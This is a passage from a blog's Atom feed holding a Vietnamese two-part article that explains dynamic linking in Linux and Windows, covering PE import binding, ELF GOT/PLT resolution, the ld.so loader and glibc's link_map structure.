kết dễ dàng hơn trong việc này và ghi đè điểm vào IAT với địa chỉ thực của hàm nhập tại thời gian liên kết. Việc nối kết cũng thêm các thông tin ràng buộc,chẳng hạn như timestamp để ràng buộc chương trình thực thi. Trong thời gian nạp bộ nạp sẽ kiểm chứng xem khu vực ký tự tham chiếu tới trong phân đoạn xuất của DDL có không thay đổi hay không &lt;br&gt;&lt;br&gt;Để kiểm tra lại tính hợp lệ của các thông tin ràng buộc, PE dùng một cấu trúc dữ liệu &lt;em&gt;IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT&lt;/em&gt; được trở bởi thư mục dữ liệu. Cấu trúc này là một danh sách các phần tử &lt;em&gt;IMAGE_BOUND_DESCRIPTOR&lt;/em&gt;, tương ứng với từng DDL nhập. Cấu trúc này lưu trữ timestamp, tên của một DDL quan trọng và số tham chiếu chuyển tiếp. Khái niệm chuyển tiếp xuất khẩu là khá xa phạm vi của bài báo này. Nhưng với mục đích hoàn chỉnh thì cũng tốt để biết rằng Windows cho phép bạn tham chiếu tới một API nhập trong một DDL chuyển tiếp từ một DDL khác. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img src="http://www.quantrimang.com/photos/Image/082006/24/Dynamic-Linking17.jpg" alt="" border="1" vspace="3"&gt;&lt;br&gt;Hình 17.&lt;/em&gt; Cấu trúc dữ liệu IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Nếu time stamp của DDL không thay đổi, nó dùng địa chỉ nối kết lưu trữ trong IAT. Nếu không thì nó dùng thông tin trong bảng hint-name để thực hiện các tra tìm thông thương. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Kết luận&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Mục đích của bài này là thảo luận khái niệm thư viện chia sẻ trong cả Windows và Linux. Và lướt qua các kiểu cấu trúc dữ liệu khác nhau để giải thích liên kết động làm việc như thế nào. Trong phần một chúng ta đã được giới thiệu về Linux. Phần hai này chúng ta nghiên cứu sâu hơn về liên kết động trong Windows, bao gồm Tiến trình liên kết lười và Trình giúp đõ nạp trễ. Chúng ta cũng xem xét cách tăng tốc độ chủ yếu cho các thư viện chia sẻ, thường hay chậm trong thực tế. Và xem xét vấn đề prelinking trong Linux cũng như tương quan của nó trong windows: rebasing (cơ sở lại) và binding (nối kết). &lt;br&gt;&lt;br&gt;Hi vọng là loạt hai bài này đã cung cấp cho các bạn cái nhìn sâu sắc hơn và toàn diện hơn về vấn đề liên kết động. &lt;/font&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-1561190803610024891?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/1561190803610024891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=1561190803610024891' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1561190803610024891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1561190803610024891'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/lin-kt-ng-trong-linux-v-windows-phn-ii.html' title='Liên kết động trong Linux và Windows (phần II)'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-4326862037414218507</id><published>2008-01-27T06:15:00.000-08:00</published><updated>2008-01-27T06:24:10.913-08:00</updated><title type='text'>Liên kết động trong Linux và Windows</title><content type='html'>&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;/font&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#993300" size="4"&gt;Phần I &lt;br&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;Bài báo này thảo luận về khái niệm thư viện chia sẻ trong cả Windows và Linux. Đồng thời lướt qua các kiểu cấu trúc dữ liệu để giải thích liên kết động làm việc như thế nào trong các hệ điều hành này. Bài này rất hữu ích cho các nhà phát triển hứng thú nghiên cứu vấn đề về các hàm ẩn bảo mật, liên quan tới tốc độ liên kết động. Và cũng khẳng định một số kiến thức cơ bản về liên kết động đã được đưa ra trước đây. &lt;br&gt;&lt;br&gt;Phần một giới thiệu các khái niệm cho cả Linux và Windows, nhưng cơ bản tập trung trên Linux. Lần tới, trong phần hai chúng ta sẽ thảo luận chúng làm việc trong Windows như thế nào và sau đó là so sánh hai môi trường với nhau. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Thư viện tĩnh và thư viện động &lt;br&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;Thư viện là một tập hợp các chương trình con cho phép mã chương trình được chia sẻ và thay đổi theo kiểu modul. Các chương trình chạy và thư viện liên hệ với nhau theo một tiến trình gọi là &lt;em&gt;linking&lt;/em&gt; (liên kết), làm việc qua một cầu nối (&lt;em&gt;linker&lt;/em&gt;).&amp;nbsp;&lt;br&gt;&lt;br&gt;Thư viện có thể chia thành hai loại: thư viện tĩnh và thư viện chia sẻ. &lt;br&gt;&lt;br&gt;Thư viện tĩnh là một tập hợp các file kiểu đối tượng. Theo quy ước, các file này có đuôi kết thúc là “.&lt;em&gt;a&lt;/em&gt;” trong UNIX và “.&lt;em&gt;lib&lt;/em&gt;” trong Windows. Khi một chương trình được liên kết ngược với một thư viện tĩnh, mã máy từ các file đối tượng cho bất kì hàm mở rộng dùng trong chương trình sẽ được sao chép từ thư viện vào chương trình chạy cuối cùng. &lt;br&gt;&lt;br&gt;Ngược lại với thư viện tĩnh, mã lệnh trong thư viện chia sẻ không giới hạn chương trình chạy tại thời gian liên kết. Phụ thuộc vào việc ghép địa chỉ lúc nào và như thế nào, tiến trình liên kết có thể phân loại là &lt;em&gt;prelinking&lt;/em&gt;, &lt;em&gt;load time linking&lt;/em&gt;, &lt;em&gt;implicit run-time linking&lt;/em&gt; và &lt;em&gt;explicit run-time linking&lt;/em&gt;. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Mã độc lập vị trí ( hay Win32 DDLs với “.SO” ) &lt;br&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;Các mã độc lập vị trí có thể được sao chép từ bất kì khu vực bộ nhớ nào, sau đó chạy mà không cần thêm chỉnh sửa gì. Không giống như mã định vị lại vị trí đòi hỏi phải có một tiến trình đặc biệt là các cầu nối để có được vị trí và sự thực thi phù hợp. &lt;br&gt;&lt;br&gt;Win32 DLLs không độc lập vị trí. Chúng cần định vị lại suốt trong quá trình tải, trừ phi phần cơ sở được sửa chữa để không cần dùng. Định vị lại để các địa chỉ giống nhau có thể được chia sẻ. Nhưng nếu các tiến trình khác nhau xung đột trong dàn xếp bộ nhớ, bộ nạp cần tạo ra các bản “đa sao chép” của DDL trong bộ nhớ. Khi bộ nạp Windows vẽ bản đồ DDL vào bộ nhớ, nó mở file và cố gắng nạp chúng vào các địa chỉ cơ bản trước. Tại các trang trong bản đồ đã được vẽ, hệ thống phân trang sẽ xem xét liệu các trang này đã được thể hiện trong bộ nhớ chưa. Nếu đã có thì chỉ cần vẽ lại các trang cho tiến trình mới, khi việc định vị lại vị trí đã được bộ nạp thực hiện xong tại các địa chỉ cơ sở. Nếu không thì các trang vẫn đang được lấy về từ ổ đĩa. &lt;br&gt;&lt;br&gt;Nếu phạm vi địa chỉ xác định cho DDL không phù hợp, bộ nạp vẽ lại bản đồ trang vào khu vực tự do trong không gian địa chỉ chương trinh. Trong trường hợp này, nó đánh dấu trang mã lệnh như là COW (copy-on-write: sao chép để ghi) mà trước đó đã được đánh dấu là read + execute (đọc và thực thi). Từ đó, các cầu nối phải thể hiện mã lệnh đã sửa chữa tại thời gian định vị lại vị trí, bắt buộc các trang phải được phục hồi theo kiểu file phân trang. &lt;br&gt;&lt;br&gt;Linux giải quyết vấn đề này bằng cách dùng PIC (&lt;em&gt;Position Independent Code&lt;/em&gt; – mã độc lập vị trí). Các đối tượng chia sẻ trong Linux thường có PIC để tránh phải định vị lại vị trí thư viện trong thời gian tải. Tất cả các trang mã lệnh có thể được chia sẻ giữa toàn bộ tiến trình dùng cùng một thư viện và có thể được lập trang tới (hoặc từ) hệ thống file. Trong dòng x86, không có cách đơn giản nào để định địa chỉ dữ liệu liên quan tới khu vực hiện tại, kể từ khi tất cả các jump và các call là kiểu liên hệ cấu trúc con trỏ. Do đó, tất cả các tham chiếu tới khu vực địa chỉ tĩnh mở rộng được thực hiện trực tiếp qua một bảng, gọi là bảng GOT (&lt;em&gt;Global Offset Table&lt;/em&gt;). &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Liên kết động trong Linux &lt;br&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;&lt;strong&gt;Cấu trúc dữ liệu ELF&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Vì đây không phải là bài báo đặe tả định dạng kiểu &lt;strong&gt;&lt;em&gt;ELF&lt;/em&gt;&lt;/strong&gt;, chúng ta sẽ chỉ thảo luận về các cấu trúc dữ liệu, liên quan tới nội dung mà chúng ta đang xem xét. Đối với liên kết động, các cầu nối &lt;strong&gt;&lt;em&gt;ELF&lt;/em&gt;&lt;/strong&gt; cơ bản dùng hai bảng đặc trưng theo bộ xử lý: Global Offset Table (&lt;strong&gt;&lt;em&gt;GOT&lt;/em&gt;&lt;/strong&gt;) và Procedure Linkage Table (&lt;strong&gt;&lt;em&gt;PLT&lt;/em&gt;&lt;/strong&gt;). &lt;br&gt;&lt;br&gt;&lt;strong&gt;Global Offset Table (GOT) - Bảng địa chỉ Offset mở rộng &lt;br&gt;&lt;/strong&gt;&lt;br&gt;Các mối liên kết &lt;strong&gt;&lt;em&gt;ELF&lt;/em&gt;&lt;/strong&gt; hỗ trợ mã &lt;strong&gt;&lt;em&gt;PIC&lt;/em&gt;&lt;/strong&gt; qua bảng &lt;strong&gt;&lt;em&gt;GOT&lt;/em&gt;&lt;/strong&gt; trong từng thư viện chia sẻ. &lt;strong&gt;&lt;em&gt;GOT&lt;/em&gt;&lt;/strong&gt; chỉ chứa địa chỉ của tất cả các dữ liệu tĩnh dùng trong chương trình. Địa chỉ của &lt;strong&gt;&lt;em&gt;GOT&lt;/em&gt;&lt;/strong&gt; thông thường được lưu trữ trong một thanh ghi (&lt;strong&gt;&lt;em&gt;EBX&lt;/em&gt;&lt;/strong&gt;), trong đó một địa chỉ quan hệ của mã lệnh được dùng. &lt;br&gt;&lt;br&gt;&lt;strong&gt;Procedure Linkage Table (PLT) - Bảng liên kết các chương trình con &lt;br&gt;&lt;/strong&gt;&lt;br&gt;Cả chương trình chạy sử dụng thư viện chia sẻ và chính bản thân thư viện chia sẻ đều có một bảng &lt;strong&gt;&lt;em&gt;PLT&lt;/em&gt;&lt;/strong&gt;. Tương tự như cách bảng &lt;strong&gt;&lt;em&gt;GOT&lt;/em&gt;&lt;/strong&gt; gửi lại các tính toán địa chỉ độc lập vị trí tới khu vực địa chỉ tuyệt đối, &lt;strong&gt;&lt;em&gt;PLT&lt;/em&gt;&lt;/strong&gt; cũng gửi lại các hàm gọi địa chỉ tuyết đối tới khu vực địa chỉ tuyệt đối. &lt;br&gt;&lt;br&gt;Ngoài hai bảng trên, các mối liên kết còn có trong “.&lt;em&gt;dinsym&lt;/em&gt;” (chứa tất cả biểu tượng xuất khẩu và quan trọng của file), “.&lt;em&gt;dynstr&lt;/em&gt;” (xâu tên cho biểu tượng), “.&lt;em&gt;hash&lt;/em&gt;” (bảng hash - bảng cầu nối chạy thực, có thể dùng để tra tìm các biểu tượng một cách nhanh chóng) và “.dynamic” (danh sách các kiểu đuôi và con trỏ). &lt;br&gt;&lt;br&gt;Trong phần &lt;em&gt;.dynamic&lt;/em&gt;, các kiểu đuôi quan trọng gồm: &lt;br&gt;+ &lt;strong&gt;&lt;em&gt;DT NEEDED&lt;/em&gt;&lt;/strong&gt;: giữ bảng kí tự offset của một xâu kết thúc là null, đưa ra tên thư viện cần thiết. Offset là một chỉ mục trong bảng, được ghi lại trong danh sách DT_STRTAB. &lt;br&gt;+ &lt;strong&gt;&lt;em&gt;3DT HASH&lt;/em&gt;&lt;/strong&gt;: giữ địa chỉ của bảng ký tự hash, trỏ tới bảng ký tự phần tử trong DT_SYMTAB. &lt;br&gt;+ &lt;strong&gt;&lt;em&gt;DT STRTAB&lt;/em&gt;&lt;/strong&gt;: giữ địa chỉ của bảng xâu &lt;br&gt;+ &lt;strong&gt;&lt;em&gt;DT SYMTAB&lt;/em&gt;&lt;/strong&gt;: giữ địa chỉ của bảng biểu tượng &lt;br&gt;&lt;br&gt;&lt;strong&gt;Bảng ký tự Hash&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;nBuckets //&lt;/font&gt;không có đường vào bucket &lt;br&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;nChains //&lt;/font&gt; không có đường vào chain &lt;br&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;bucket[] &lt;br&gt;chain[]&lt;/font&gt; &lt;br&gt;&lt;br&gt;Cả mảng bucket và chain chứa các chỉ mục bảng ký tự. Với mỗi ký tự phải tìm, nó sẽ được băm ra và thành phần hash%Buckets được dùng như là một chỉ mục trong mảng &lt;font face="Courier New" size="2"&gt;bucket[]&lt;/font&gt;. Mỗi phần tử bucket đưa ra một chỉ mục, một symindx, cũng như là bảng biểu tượng trong mảng chain. Nếu đường vào của bảng biểu tượng không được ghép nối, nó sẽ tìm đưòng vào tiếp theo vẫn với giá trị băm như thê, và dùng chỉ mục lấy ra từ &lt;font face="Courier New" size="2"&gt;Chain [symindx]&lt;/font&gt;.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Thực hiện như thế nào&lt;/font&gt;&lt;/strong&gt;&amp;nbsp;&lt;br&gt;&lt;br&gt;Trong Linux, tự bản thân mối liên kết động &lt;em&gt;ld.so&lt;/em&gt; đã là một thư viện chia sẻ &lt;strong&gt;&lt;em&gt;ELF&lt;/em&gt;&lt;/strong&gt;. Khi chương trình khởi động, hệ thống vẽ bản đồ ld.so thành một phần của không gian địa chỉ và chạy mã lệnh bootstrap của nó. Đường vào chính của bộ nạp được định nghĩa trong &lt;em&gt;dl_main(elf/rtld.c)&lt;/em&gt;. Cầu nối định vị và giải quyết, tham chiếu tới thường trình riêng của nó. Đó là việc cần thiết để tải mọi thứ về. &lt;br&gt;&lt;br&gt;Phân đoạn tĩnh (nằm ở phần tiêu đề chương trình) trong file ELF bao gồm một con trỏ, trỏ tới bảng xâu của file (&lt;em&gt;DT_STRTAB&lt;/em&gt;), cũng như là mục vào &lt;em&gt;DT_NEEDED&lt;/em&gt;. Mỗi một phần tử đó bao gồm phần offset trong bảng xâu tên của thư viện yêu cầu. Mối liên kết động tạo ra một danh sách phạm vi chương trình chạy, bao gồm cả các thư viện để tải. &lt;br&gt;&lt;br&gt;Chúng ta có hai cách đặc tả đối tượng trước khi tải. Hoặc là qua môi trường biến &lt;em&gt;LD_PRELOAD&lt;/em&gt;, hoặc là qua file /etc/ld.so.preload. Cách sau có thể được dùng khi hàng rào an toàn ngăn cản dùng qua môi trường biến. Bộ nạp thêm mục vào &lt;em&gt;DT_NEEDED&lt;/em&gt; của chương trình chạy, cũng như là phạm vi sau các đường vào trước khi tải. &lt;br&gt;&lt;br&gt;Với mỗi một đường vào trong phạm vi, mối liên kết sẽ tìm file chứa thư viện. Mỗi khi thư viện được tìm ra, mối liên kết sẽ đọc tiêu dề &lt;strong&gt;&lt;em&gt;ELF&lt;/em&gt;&lt;/strong&gt; để tìm tiêu đề chương trình, được trỏ bởi phân đoạn động. Mối liên kết sẽ nạp sơ đồ thư viện vào không gian địa chỉ chương trình. Từ phân đoạn động, nó thêm bảng biểu tượng của thư viện vào chain của các bảng biểu tưọng. Và nếu các thư viện phụ thuộc nhiều hơn, nó sẽ thêm vào một danh sách được tải, và quá trình này được tiếp tục. Để sáng sủa hơn, chú ý rằng thực tế quá trình này tạo ra một cấu trúc &lt;em&gt;link_map&lt;/em&gt; cho mỗi thư viện và thêm nó vào một danh sách liên kết mở rộng. &lt;br&gt;&lt;br&gt;Mối liên kết giữ trong bộ nhớ một danh sách liên kết của các bảng (như cấu trúc kiểu link_map, tham chiếu bởi tham số &lt;em&gt;dl_loaded&lt;/em&gt; trong cấu trúc &lt;em&gt;rtld_global&lt;/em&gt;) trong mỗi file. Mối liên kết tận dụng bảng hash hiện tại trong file &lt;strong&gt;&lt;em&gt;ELF&lt;/em&gt;&lt;/strong&gt; (nằm trong &lt;em&gt;DT_HASH&lt;/em&gt;) để tăng tốc độ tìm kiếm biểu tượng. &lt;br&gt;&lt;br&gt;Mỗi lần bộ nạp kết thúc việc xây dựng danh sách liên kết các bảng phụ thuộc, nó sẽ thăm lại từng thư viện và điều khiển đường vào định vị lại vị trí của thư viện, làm đầy bảng GOT của thư viện và thể hiện các định vị cần thiết. &lt;br&gt;&lt;br&gt;Biến &lt;em&gt;LD_BIND_NOW&lt;/em&gt; dò ra bộ chạy liên kết động. Nếu nó bật, mối liên kết động sẽ xác định giá trị đường vào bảng PLT (mà tất cả kiểu đều thoại loại &lt;em&gt;R_386_JMP_SLOT&lt;/em&gt;) tại thời gian tải. Nếu không thì, mối liên kết động sẽ thực hiện liên kết lười của các địa chỉ chương trình con. Và do đó các địa chỉ không bị giới hạn, trừ khi thường trình được gọi. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Một bước tới Linux bằng cách liên kết Procedure&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;&lt;br&gt;Trong phần này, chúng ta sẽ tìm hiểu một hàm được định nghĩa trong thư viện chia sẻ &lt;em&gt;libtest.so&lt;/em&gt; hoạt động như thế nào tại thời gian chạy. Chương trình chạy, được tách rời bằng thành phần gdb bên dưới đã được tạo ra bằng liên kết với một thư viện &lt;em&gt;PIC&lt;/em&gt;, &lt;em&gt;libtest.so&lt;/em&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;strong&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/082006/18/Dynamic-linking1.jpg" vspace="3"&gt;&lt;br&gt;Hình 1.&lt;/strong&gt; Chương trình chạy tách rời dùng gdb &lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Hãy bắt đầu xem xét từ lệnh gọi được chỉ ra ở hình 1. &lt;br&gt;&lt;br&gt;Điạ chỉ trong lệnh gọi (0x80483a4) là một đường vào trong bảng PLT. Bốn đường vào đầu tiên trong PLT (nhờ đó lối vào thứ 3 và thứ 4 được duy trì) là phổ biến cho tất cả các hàm cuộc gọi. Phần còn lại của đường vào được nhóm lại thành một khối, mỗi khối gồm 3 đường vào và tương ứng cho một hàm. Điều này được chỉ ra trong &lt;em&gt;hình 2&lt;/em&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;strong&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/082006/18/Dynamic-linking2.jpg" vspace="3"&gt;&lt;br&gt;Hình 2.&lt;/strong&gt; Đường vào đầu tiên trong PLT. &lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;strong&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/082006/18/Dynamic-linking3.jpg" vspace="3"&gt;&lt;br&gt;Hình 3.&lt;/strong&gt; Bảng GOT trên đĩa.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Câu lệnh bao gồm một bước nhảy tới địa chỉ trong đường vào của bảng &lt;strong&gt;GOT *(GOT + 0x14)&lt;/strong&gt;, và lại trỏ vào đường vào tiếp theo trong bảng &lt;strong&gt;PLT viz 0x80483aa&lt;/strong&gt; (như đã được chỉ ra trong &lt;em&gt;hình 2&lt;/em&gt;). &lt;br&gt;&lt;br&gt;Các câu lệnh tiếp theo thực hiện với các địa chỉ dùng mối liên kết động. Câu lệnh nhảy đẩy một khoảng chứa trống (0x10). Đây là một khoảng trống trong bảng định vị lại file, trỏ tới biểu tượng được yêu cầu trong bảng biểu tượng, và địa chỉ trỏ tới đường vào &lt;strong&gt;GOT (0x804963c)&lt;/strong&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;strong&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/082006/18/Dynamic-linking4.jpg" vspace="4"&gt;&lt;br&gt;Hình 4.&lt;/strong&gt; Đường vào định vị lại vị trí 8 byte (RELSZ).&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Như đã thấy trên hình 4, kích thước của đường vào định vị lại vị trí là 8 byte (RELSZ). Khoảng trống 0x10 cho chúng ta đường vào số 3 trong bảng &lt;em&gt;.rel.plt&lt;/em&gt;, với đường vào là cho m. Lối vào khoảng trống trong bảng tương ứng với địa chỉ GOT, phải được cập nhật. &lt;br&gt;&lt;br&gt;Đoạn mã lệnh sau nhảy tới đường vào đầu tiên trong PLT, là phần chung. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;strong&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/082006/18/Dynamic-linking5.jpg" vspace="3"&gt;&lt;br&gt;Hình 5.&lt;/strong&gt; Điểm ngắt 1.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Đường vào trong PLT lại nhảy tới địa chỉ trong &lt;strong&gt;GOT + 8&lt;/strong&gt;. Bộ nạp tại thời gian tải cập nhật đường vào trong &lt;strong&gt;GOT + 4&lt;/strong&gt; và &lt;strong&gt;GOT + 8&lt;/strong&gt; (sớm hơn 0x000000 như đã thấy trong &lt;em&gt;hình 3&lt;/em&gt;). Bây giờ &lt;strong&gt;GOT + 8&lt;/strong&gt; (0x 4000bcb0) trỏ tới một địa chỉ được vẽ với ld-2.3.2.0 (mối liên kết thời gian chạy). như có thể thấy trong &lt;em&gt;hình 6&lt;/em&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;strong&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/082006/18/Dynamic-linking6.jpg" vspace="3"&gt;&lt;br&gt;Hình 6.&lt;/strong&gt; Bản đồ hoá địa chỉ với mối liên kết thời gian chạy.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Mỗi lần thường trình liên kết động tra tìm giá trị biểu tượng dùng bảng thời gian chạy được ghép nối, và lưu trữ địa chỉ thường trình (0x400177db) trong đường vào &lt;strong&gt;GOT&lt;/strong&gt; (0x 804963c) như trong &lt;em&gt;hình 5&lt;/em&gt;, lệnh gọi tiếp theo nhảy trực tiếp tới thường trình của chúng. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Peeking vào mối liên kết động&lt;em&gt; ld.so&lt;/em&gt;&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Hãy trở lại đường vào &lt;strong&gt;GOT&lt;/strong&gt;. Như chúng ta đã thấy, &lt;strong&gt;GOT + 8&lt;/strong&gt; bao gồm địa chỉ của biểu tượng của mối liên kết thường trình định vị lại vị trí. &lt;strong&gt;GOT + 4&lt;/strong&gt; được nạp đầy bởi bộ nạp với điạ chỉ của cấu trúc &lt;em&gt;link_map&lt;/em&gt;, được định nghĩa trong &lt;em&gt;include/link.h&lt;/em&gt;. Bảng &lt;strong&gt;GOT&lt;/strong&gt; được làm đầy bằng thường trình &lt;em&gt;elf_machine_runtime_setup&lt;/em&gt; được định nghĩa trong &lt;em&gt;dl-machine.h&lt;/em&gt;. &lt;br&gt;&lt;br&gt;Hãy xem xét kỹ hơn:&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;br /&gt;            &lt;p align="justify"&gt;&lt;font color="#800000"&gt;Cấu trúc&lt;/font&gt;&lt;font color="#800000" face="Courier New" size="2"&gt; &lt;em&gt;link_map&lt;/em&gt; &lt;br&gt;{ &lt;br&gt;ElfW(Addr) l_addr; /*&lt;/font&gt;&lt;font color="#800000"&gt;điạ chỉ đối tượng chia sẻ điạ chỉ cơ bản được nạp&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;char *l_name; /*&lt;/font&gt;&lt;font color="#800000"&gt; đối tượng tên file tuyệt đối được tìm trong&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;ElfW(Dyn) *l_ld; /* &lt;/font&gt;&lt;font color="#800000"&gt;khu vực động của đối tượng chia sẻt&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;struct link_map *l_next, *l_prev; /* &lt;/font&gt;&lt;font color="#800000"&gt;Chuỗi đối tượng được tải&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;&lt;br&gt;/* &lt;/font&gt;&lt;font color="#800000"&gt;Tất cả bộ phận sau nằm trong thành phần của mối liên kết động. Chúng có thể thay đổi mà không cần thông báo&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;&lt;br&gt;/* &lt;/font&gt;&lt;font color="#800000"&gt;Con trỏ chỉ mục trỏ tới khu vực động&lt;/font&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM &lt;br&gt;+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; &lt;br&gt;const ElfW(Phdr) *l_phdr; /* &lt;/font&gt;&lt;font color="#800000"&gt;Con trỏ trỏ tới bảng tiêu đề chương trình trong lõi&lt;/font&gt;&lt;font color="#800000" face="Courier New" size="2"&gt; */ &lt;br&gt;ElfW(Addr) l_entry; /* &lt;/font&gt;&lt;font color="#800000"&gt;đường vào trỏ khu vực&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;ElfW(Half) l_phnum; /* &lt;/font&gt;&lt;font color="#800000"&gt;Số đường vào tiêu đề chương trình&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;ElfW(Half) l_ldnum; /* &lt;/font&gt;&lt;font color="#800000"&gt;Số đường vào phân đoạn động&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;&lt;br&gt;/* &lt;/font&gt;&lt;font color="#800000"&gt;Mảng phụ thuộc DT_NEEDED và các phụ thuộc của nó, trong câu lện phụ thuộc để tra tìm biểu tượng (có hoặc không có bản sao). Không có đường vào trước phụ thuộc được tải&lt;/font&gt;&lt;font color="#800000" face="Courier New" size="2"&gt; */ &lt;br&gt;&lt;br&gt;struct r_scope_elem l_searchlist; &lt;br&gt;&lt;br&gt;&lt;br&gt;/* &lt;/font&gt;&lt;font color="#800000"&gt;Symbol hash table&lt;/font&gt; &lt;font color="#800000" face="Courier New" size="2"&gt;*/ &lt;br&gt;Elf_Symndx l_nbuckets; &lt;br&gt;const Elf_Symndx *l_buckets, *l_chain;&lt;/font&gt; &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;            &lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br 